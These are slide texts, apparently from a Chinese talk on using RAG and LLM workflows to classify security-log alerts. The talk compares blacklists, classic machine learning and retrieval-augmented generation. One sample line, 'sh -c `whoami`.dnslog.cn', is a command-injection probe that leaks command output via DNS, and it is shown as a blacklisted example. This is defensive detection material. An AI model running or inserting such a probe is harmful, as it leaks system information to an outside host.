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谁执行了 whoami

/usr/lib/systemd/systemd
=> ......
=> xxx
=> whoami

java -jar my-app.jar

bash install.sh

sh -c `whoami`.dnslog.cn

python 1.py

xxAgent

......



我们的大脑是如何分析安全日志的？

感觉皮层 联合皮层 丘脑/海马体/
联合皮层 前额叶 新皮层 

感知输入 特征编码 记忆检索 推理决策 记忆巩固 



方案一：黑白名单

白名单

java -jar my-app.jar

bash install.sh

python 1.py

xxAgent

黑名单

sh -c `whoami`.dnslog.cn

父进程本身被攻击了怎么办？

新增业务了怎么办？

有新的域名怎么办？

只有这一种攻击方式吗？

如果有上千万的日志如何处理？

感知输入 特征编码 记忆检索 推理决策 记忆巩固 



方案二：机器学习

向量化

TF-IDF/Word2Vec

聚类/分类

算法/神经网络

相同词在不同上下文中始终相同

不能捕获上下文信息

不同场景不通用

训练成本高

需要定期重新训练

面对未出现过的样本表现差

java -jar my-app.jar

感知输入 特征编码 记忆检索 推理决策 记忆巩固 





存储

检索
知识

向量化

检索
结果

问题
向量化

生成

回答

RAG 原理

数据预处理 向量数据库

LLM用户

嵌入模型

知识文本



RAG 为什么适合分析安全日志？

存储

检索
知识

向量化

检索
结果

问题
向量化

生成

回答

数据预处理 向量数据库

LLM用户

嵌入模型

知识文本

特征编码 记忆检索/记忆巩固

推理决策



理想的特征编码-文本嵌入模型



理想的记忆检索

北京的天气怎么样 北京的气候是xxx 北京地气候是xxx=≈



还差什么？

存储

检索
知识

向量化

检索
结果

问题
向量化

生成

回答

数据预处理 向量数据库

LLM用户

嵌入模型

知识文本

特征编码 记忆检索/记忆巩固

推理决策





大模型为什么不能取代我？

任务越多，幻觉越严重

在一些场景中语料不足

在某些任务中表现很差

信息不足时，大模型注定无法给出准确结果



选择

工作流

提升大模型准确性的三个原则

告警日志 LLM判定场景

域名IP识别

自有资产库

威胁情报库

下载场景
提示词

下载执行

提权

反弹 shell

······

工作流 信息丰富化

LLM分析

1. 少做事

2. 扬长处

3. 给信息



取代了但没有完全取代

存储

检索
知识

向量化

检索
结果

问题
向量化

生成

回答

数据预处理 向量数据库

LLM工作流用户

嵌入模型

知识文本

特征编码 记忆检索/记忆巩固

推理决策



理想的架构

告警日志 文本嵌入模型 知识库

人工/LLM

执行预案

向量化 检索

相似

已知
类型

标记类型
设置预案

未知
类型
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